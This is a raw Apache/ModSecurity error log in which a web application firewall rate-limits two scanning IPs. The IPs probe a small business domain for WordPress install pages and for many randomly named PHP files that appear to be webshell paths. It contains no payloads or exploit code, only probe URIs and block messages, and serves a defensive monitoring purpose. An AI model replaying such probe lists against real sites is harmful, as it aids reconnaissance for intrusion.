[Fri Apr 17 04:04:42.046817 2026] [:error] [pid 9153:tid 9227] [client 209.38.89.62:36750] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/web/wp-admin/install.php"] [unique_id "aeFA2uMHGxkTZX3c45evQAAAAIk"]
[Fri Apr 17 04:04:42.087244 2026] [:error] [pid 9151:tid 9167] [client 209.38.89.62:36758] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/backup/wp-admin/install.php"] [unique_id "aeFA2shTVuRPkua22vRjwAAAAAY"]
[Fri Apr 17 04:04:42.193193 2026] [:error] [pid 9152:tid 9192] [client 209.38.89.62:36760] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/site/wp-admin/install.php"] [unique_id "aeFA2pJYca8I3TNCwIfO-wAAAEI"]
[Fri Apr 17 04:04:42.258165 2026] [:error] [pid 9151:tid 9165] [client 209.38.89.62:36764] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oldsite/wp-admin/install.php"] [unique_id "aeFA2shTVuRPkua22vRjwgAAAAQ"]
[Fri Apr 17 04:04:42.365013 2026] [:error] [pid 9151:tid 9185] [client 209.38.89.62:36780] [client 209.38.89.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shop/wp-admin/install.php"] [unique_id "aeFA2shTVuRPkua22vRjxAAAABg"]
[Fri Apr 17 04:13:15.062707 2026] [:error] [pid 9152:tid 9196] [client 20.166.7.149:29376] File does not exist: /usr/local/apache/htdocs/suspended-page/tymi.php
[Fri Apr 17 04:13:15.335445 2026] [:error] [pid 9152:tid 9211] [client 20.166.7.149:29376] File does not exist: /usr/local/apache/htdocs/suspended-page/4GrJSiwkF3A.php
[Fri Apr 17 04:13:15.621772 2026] [:error] [pid 9152:tid 9197] [client 20.166.7.149:29376] File does not exist: /usr/local/apache/htdocs/suspended-page/SS72_kKKjT.php
[Fri Apr 17 04:13:15.895099 2026] [:error] [pid 9152:tid 9213] [client 20.166.7.149:29376] File does not exist: /usr/local/apache/htdocs/suspended-page/wkogn.php
[Fri Apr 17 04:13:16.164723 2026] [:error] [pid 9152:tid 9209] [client 20.166.7.149:29376] File does not exist: /usr/local/apache/htdocs/suspended-page/hwjtry0zd1fzeakcuzn8Cdefault.php
[Fri Apr 17 04:13:16.436054 2026] [:error] [pid 9152:tid 9202] [client 20.166.7.149:29376] File does not exist: /usr/local/apache/htdocs/suspended-page/cilus.php
[Fri Apr 17 04:13:16.851703 2026] [:error] [pid 9152:tid 9205] [client 20.166.7.149:29376] File does not exist: /usr/local/apache/htdocs/suspended-page/oLEzRVqmJJPFSucdefault.php
[Fri Apr 17 04:13:17.122426 2026] [:error] [pid 9152:tid 9206] [client 20.166.7.149:29376] File does not exist: /usr/local/apache/htdocs/suspended-page/wwdgl.php
[Fri Apr 17 04:13:17.393057 2026] [:error] [pid 9152:tid 9190] [client 20.166.7.149:29376] File does not exist: /usr/local/apache/htdocs/suspended-page/3akp.php
[Fri Apr 17 04:13:17.663373 2026] [:error] [pid 9152:tid 9194] [client 20.166.7.149:29376] File does not exist: /usr/local/apache/htdocs/suspended-page/HLA-dd.php
[Fri Apr 17 04:13:17.989067 2026] [:error] [pid 9152:tid 9200] [client 20.166.7.149:29376] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeFC3ZJYca8I3TNCwIfTSwAAAEo"]
[Fri Apr 17 04:13:18.600935 2026] [:error] [pid 9153:tid 9231] [client 20.166.7.149:29395] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeFC3uMHGxkTZX3c45ez_AAAAI0"]
[Fri Apr 17 04:13:19.330068 2026] [:error] [pid 9263:tid 9282] [client 20.166.7.149:29465] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeFC3xP68VyHNvj1e56WDgAAANE"]
[Fri Apr 17 04:13:19.885101 2026] [:error] [pid 9151:tid 9180] [client 20.166.7.149:29481] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeFC38hTVuRPkua22vRm4gAAABM"]
[Fri Apr 17 04:13:20.387522 2026] [:error] [pid 9153:tid 9242] [client 20.166.7.149:29441] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cdn3.php"] [unique_id "aeFC4OMHGxkTZX3c45ez_gAAAJg"]
[Fri Apr 17 04:13:20.987244 2026] [:error] [pid 9263:tid 9287] [client 20.166.7.149:29502] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cdn3.php"] [unique_id "aeFC4BP68VyHNvj1e56WEQAAANY"]
[Fri Apr 17 04:13:21.647515 2026] [:error] [pid 9152:tid 9208] [client 20.166.7.149:29445] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cdn3.php"] [unique_id "aeFC4ZJYca8I3TNCwIfTYgAAAFI"]
[Fri Apr 17 04:13:22.162105 2026] [:error] [pid 9263:tid 9288] [client 20.166.7.149:29440] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cdn3.php"] [unique_id "aeFC4hP68VyHNvj1e56WGgAAANc"]
[Fri Apr 17 04:13:22.839129 2026] [:error] [pid 9153:tid 9225] [client 20.166.7.149:29379] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeFC4uMHGxkTZX3c45e0AAAAAIc"]
[Fri Apr 17 04:13:23.840933 2026] [:error] [pid 9263:tid 9272] [client 20.166.7.149:29488] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeFC4xP68VyHNvj1e56WJwAAAMc"]
[Fri Apr 17 04:13:24.451454 2026] [:error] [pid 9263:tid 9270] [client 20.166.7.149:29454] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeFC5BP68VyHNvj1e56WLwAAAMU"]
[Fri Apr 17 04:13:25.090417 2026] [:error] [pid 9152:tid 9208] [client 20.166.7.149:29463] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeFC5ZJYca8I3TNCwIfTdwAAAFI"]
[Fri Apr 17 04:13:25.665136 2026] [:error] [pid 9152:tid 9203] [client 20.166.7.149:29457] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/beerd.php"] [unique_id "aeFC5ZJYca8I3TNCwIfTgwAAAE0"]
[Fri Apr 17 04:13:26.274797 2026] [:error] [pid 9153:tid 9220] [client 20.166.7.149:29388] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/beerd.php"] [unique_id "aeFC5uMHGxkTZX3c45e0CgAAAII"]
[Fri Apr 17 04:13:27.041669 2026] [:error] [pid 9263:tid 9283] [client 20.166.7.149:29382] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/beerd.php"] [unique_id "aeFC5xP68VyHNvj1e56WOwAAANI"]
[Fri Apr 17 04:13:27.745350 2026] [:error] [pid 9151:tid 9167] [client 20.166.7.149:29456] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/beerd.php"] [unique_id "aeFC58hTVuRPkua22vRm6QAAAAY"]
[Fri Apr 17 04:13:28.547338 2026] [:error] [pid 9153:tid 9238] [client 20.166.7.149:29378] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/hhxc.php"] [unique_id "aeFC6OMHGxkTZX3c45e0GQAAAJQ"]
[Fri Apr 17 04:13:29.304818 2026] [:error] [pid 9263:tid 9270] [client 20.166.7.149:29399] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/hhxc.php"] [unique_id "aeFC6RP68VyHNvj1e56WQAAAAMU"]
[Fri Apr 17 04:13:29.880010 2026] [:error] [pid 9263:tid 9269] [client 20.166.7.149:29466] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/hhxc.php"] [unique_id "aeFC6RP68VyHNvj1e56WSQAAAMQ"]
[Fri Apr 17 04:13:30.400050 2026] [:error] [pid 9151:tid 9182] [client 20.166.7.149:29407] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/hhxc.php"] [unique_id "aeFC6shTVuRPkua22vRm7wAAABU"]
[Fri Apr 17 04:13:30.928846 2026] [:error] [pid 9151:tid 9170] [client 20.166.7.149:29483] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/161dfd072f.php"] [unique_id "aeFC6shTVuRPkua22vRm9AAAAAk"]
[Fri Apr 17 04:13:31.449317 2026] [:error] [pid 9263:tid 9265] [client 20.166.7.149:29499] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/161dfd072f.php"] [unique_id "aeFC6xP68VyHNvj1e56WSwAAAMA"]
[Fri Apr 17 04:13:32.015915 2026] [:error] [pid 9153:tid 9224] [client 20.166.7.149:29403] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/161dfd072f.php"] [unique_id "aeFC7OMHGxkTZX3c45e0JQAAAIY"]
[Fri Apr 17 04:13:32.635813 2026] [:error] [pid 9153:tid 9222] [client 20.166.7.149:29396] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/161dfd072f.php"] [unique_id "aeFC7OMHGxkTZX3c45e0KQAAAIQ"]
[Fri Apr 17 04:13:33.322750 2026] [:error] [pid 9153:tid 9221] [client 20.166.7.149:29401] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aeFC7eMHGxkTZX3c45e0LwAAAIM"]
[Fri Apr 17 04:13:33.825180 2026] [:error] [pid 9153:tid 9239] [client 20.166.7.149:29386] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aeFC7eMHGxkTZX3c45e0MgAAAJU"]
[Fri Apr 17 04:13:34.390909 2026] [:error] [pid 9263:tid 9278] [client 20.166.7.149:29460] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aeFC7hP68VyHNvj1e56WVAAAAM0"]
[Fri Apr 17 04:13:34.928911 2026] [:error] [pid 9263:tid 9267] [client 20.166.7.149:29400] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aeFC7hP68VyHNvj1e56WXAAAAMI"]
[Fri Apr 17 04:13:35.467453 2026] [:error] [pid 9151:tid 9177] [client 20.166.7.149:29486] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "aeFC78hTVuRPkua22vRm9wAAABA"]
[Fri Apr 17 04:13:36.002955 2026] [:error] [pid 9263:tid 9274] [client 20.166.7.149:29468] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "aeFC8BP68VyHNvj1e56WYgAAAMk"]
[Fri Apr 17 04:13:36.633325 2026] [:error] [pid 9263:tid 9278] [client 20.166.7.149:29493] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "aeFC8BP68VyHNvj1e56WaAAAAM0"]
[Fri Apr 17 04:13:37.188603 2026] [:error] [pid 9263:tid 9269] [client 20.166.7.149:29413] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "aeFC8RP68VyHNvj1e56WcAAAAMQ"]
[Fri Apr 17 04:13:37.742268 2026] [:error] [pid 9263:tid 9276] [client 20.166.7.149:29410] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "aeFC8RP68VyHNvj1e56WeAAAAMs"]
[Fri Apr 17 04:13:38.584765 2026] [:error] [pid 9263:tid 9269] [client 20.166.7.149:10184] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "aeFC8hP68VyHNvj1e56WfwAAAMQ"]
[Fri Apr 17 04:13:39.168492 2026] [:error] [pid 9263:tid 9275] [client 20.166.7.149:29455] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "aeFC8xP68VyHNvj1e56WhAAAAMo"]
[Fri Apr 17 04:13:39.880052 2026] [:error] [pid 9152:tid 9192] [client 20.166.7.149:10203] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "aeFC85JYca8I3TNCwIfTygAAAEI"]
[Fri Apr 17 04:13:40.498894 2026] [:error] [pid 9152:tid 9190] [client 20.166.7.149:29494] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aeFC9JJYca8I3TNCwIfT0gAAAEA"]
[Fri Apr 17 04:13:41.092561 2026] [:error] [pid 9152:tid 9209] [client 20.166.7.149:29397] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aeFC9ZJYca8I3TNCwIfT3AAAAFM"]
[Fri Apr 17 04:13:41.839454 2026] [:error] [pid 9153:tid 9240] [client 20.166.7.149:29501] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aeFC9eMHGxkTZX3c45e0SAAAAJY"]
[Fri Apr 17 04:13:42.452259 2026] [:error] [pid 9151:tid 9172] [client 20.166.7.149:29480] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aeFC9shTVuRPkua22vRm-gAAAAs"]
[Fri Apr 17 04:13:42.986293 2026] [:error] [pid 9153:tid 9229] [client 20.166.7.149:29467] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/blqjs.php"] [unique_id "aeFC9uMHGxkTZX3c45e0SQAAAIs"]
[Fri Apr 17 04:13:43.632547 2026] [:error] [pid 9153:tid 9223] [client 20.166.7.149:29393] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/blqjs.php"] [unique_id "aeFC9-MHGxkTZX3c45e0TQAAAIU"]
[Fri Apr 17 04:13:44.322419 2026] [:error] [pid 9151:tid 9178] [client 20.166.7.149:29490] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/blqjs.php"] [unique_id "aeFC-MhTVuRPkua22vRnBwAAABE"]
[Fri Apr 17 04:13:44.969383 2026] [:error] [pid 9153:tid 9233] [client 20.166.7.149:10189] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/blqjs.php"] [unique_id "aeFC-OMHGxkTZX3c45e0WQAAAI8"]
[Fri Apr 17 04:13:45.539126 2026] [:error] [pid 9153:tid 9229] [client 20.166.7.149:10178] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sk25_1.php"] [unique_id "aeFC-eMHGxkTZX3c45e0XAAAAIs"]
[Fri Apr 17 04:13:46.053813 2026] [:error] [pid 9153:tid 9227] [client 20.166.7.149:29404] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sk25_1.php"] [unique_id "aeFC-uMHGxkTZX3c45e0ZAAAAIk"]
